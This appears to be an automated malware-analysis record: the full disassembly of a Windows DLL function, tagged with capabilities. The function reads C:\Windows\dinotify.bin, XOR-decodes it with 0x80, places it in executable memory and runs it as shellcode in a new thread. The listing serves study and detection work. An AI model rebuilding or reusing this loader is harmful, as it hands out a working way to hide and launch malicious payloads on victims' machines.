Function at 0x10001780
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10013819
mov eax, dword fs:[0]
push eax
sub esp, 0xf8
mov eax, dword [0x10019470]
xor eax, esp
mov dword [esp + 0xf0], eax
push ebx
push esi
push edi
mov eax, dword [0x10019470]
xor eax, esp
push eax
lea eax, [esp + 0x108]
mov dword fs:[0], eax
mov eax, dword [str.C:Windowsdinotify.bin]
mov ecx, dword [0x10016f14]
mov edx, dword [0x10016f18]
mov dword [esp + 0xe8], eax
mov eax, dword [0x10016f1c]
mov dword [esp + 0xf4], eax
mov dword [esp + 0xec], ecx
mov ecx, dword [0x10016f20]
mov dword [esp + 0xf0], edx
mov edx, dword [0x10016f24]
lea eax, [esp + 0x34]
push eax
mov dword [esp + 0xfc], ecx
mov dword [esp + 0x100], edx
call fcn.10002090
lea ecx, [esp + 0xe8]
push ecx
xor ebx, ebx
lea ecx, [esp + 0x48]
mov dword [esp + 0x114], ebx
call fcn.10002f40
test eax, eax
jne 0x10001850
mov edx, dword [esp + 0x34]
mov ecx, dword [edx + 4]
mov eax, dword [esp + ecx + 0x40]
lea ecx, [esp + ecx + 0x34]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x10001869
or eax, 4
jmp 0x10001869
mov eax, dword [esp + 0x34]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0x6c]
lea ecx, [esp + ecx + 0x34]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
and eax, 0x17
test dword [ecx + 0x10], eax
mov dword [ecx + 0xc], eax
je 0x1000187a
push ebx
call fcn.10001560
mov ecx, dword [esp + 0x34]
mov edx, dword [ecx + 4]
mov eax, dword [esp + edx + 0x40]
test al, 6
jne 0x100018e7
mov ecx, dword [esp + edx + 0x6c]
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
push 1
push 2
push ebx
push ebx
lea eax, [esp + 0x24]
push eax
call edx
mov eax, dword [esp + 0x1c]
cdq
add eax, dword [esp + 0x14]
adc edx, dword [esp + 0x18]
cmp eax, dword [0x10014240]
jne 0x100018e7
cmp edx, dword [0x10014244]
jne 0x100018e7
mov eax, dword [esp + 0x34]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0x40]
lea ecx, [esp + ecx + 0x34]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x100018d6
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x100018e7
push ebx
call fcn.10001560
mov ecx, dword [esp + 0x34]
mov eax, dword [ecx + 4]
test byte [esp + eax + 0x40], 6
jne 0x10001915
mov ecx, dword [esp + eax + 0x6c]
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
push 1
push 1
push ebx
push ebx
lea eax, [esp + 0x24]
push eax
call edx
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x14]
jmp 0x1000192a
mov eax, dword [0x10014244]
mov edi, dword [0x10014240]
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x20], ebx
add edi, eax
mov eax, dword [esp + 0x34]
mov ecx, dword [eax + 4]
test byte [esp + ecx + 0x40], 6
jne 0x10001997
mov ecx, dword [esp + ecx + 0x6c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
push 1
push ebx
push ebx
push ebx
lea edx, [esp + 0x24]
push edx
call eax
mov eax, dword [esp + 0x1c]
cdq
add eax, dword [esp + 0x14]
adc edx, dword [esp + 0x18]
cmp eax, dword [0x10014240]
jne 0x10001997
cmp edx, dword [0x10014244]
jne 0x10001997
mov ecx, dword [esp + 0x34]
mov ecx, dword [ecx + 4]
mov eax, dword [esp + ecx + 0x40]
lea ecx, [esp + ecx + 0x34]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x10001986
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x10001997
push ebx
call fcn.10001560
push edi
call fcn.10004505
add esp, 4
mov esi, eax
cmp dword [esp + 0x98], ebx
je 0x100019bb
mov eax, edi
cdq
push edx
push eax
push esi
lea edx, [esp + 0x40]
push edx
call fcn.10001bf0
xor eax, eax
cmp edi, ebx
jle 0x100019ca
xor byte [eax + esi], 0x80
inc eax
cmp eax, edi
jl 0x100019c1
push 0x40
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov ebx, eax
push esi
push ebx
call fcn.10005e20
add esp, 0xc
lea eax, [esp + 0x30]
push eax
push 0
push 0
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x34]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x9c]
mov dword [esp + 0x2c], ecx
mov dword [esp + eax + 0x34], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea ecx, [esp + 0x44]
mov dword [esp + 0x110], 1
call fcn.10002160
mov dword [esp + 0x110], 0xffffffff
mov ecx, dword [esp + 0x34]
mov edx, dword [ecx + 4]
lea eax, [esp + 0x9c]
mov dword [esp + edx + 0x34], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
push eax
mov dword [esp + 0xa0], vtable.std::ios_base.0
call fcn.10003ee0
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x108]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xf0]
xor ecx, esp
call fcn.1000482c
mov esp, ebp
pop ebp
ret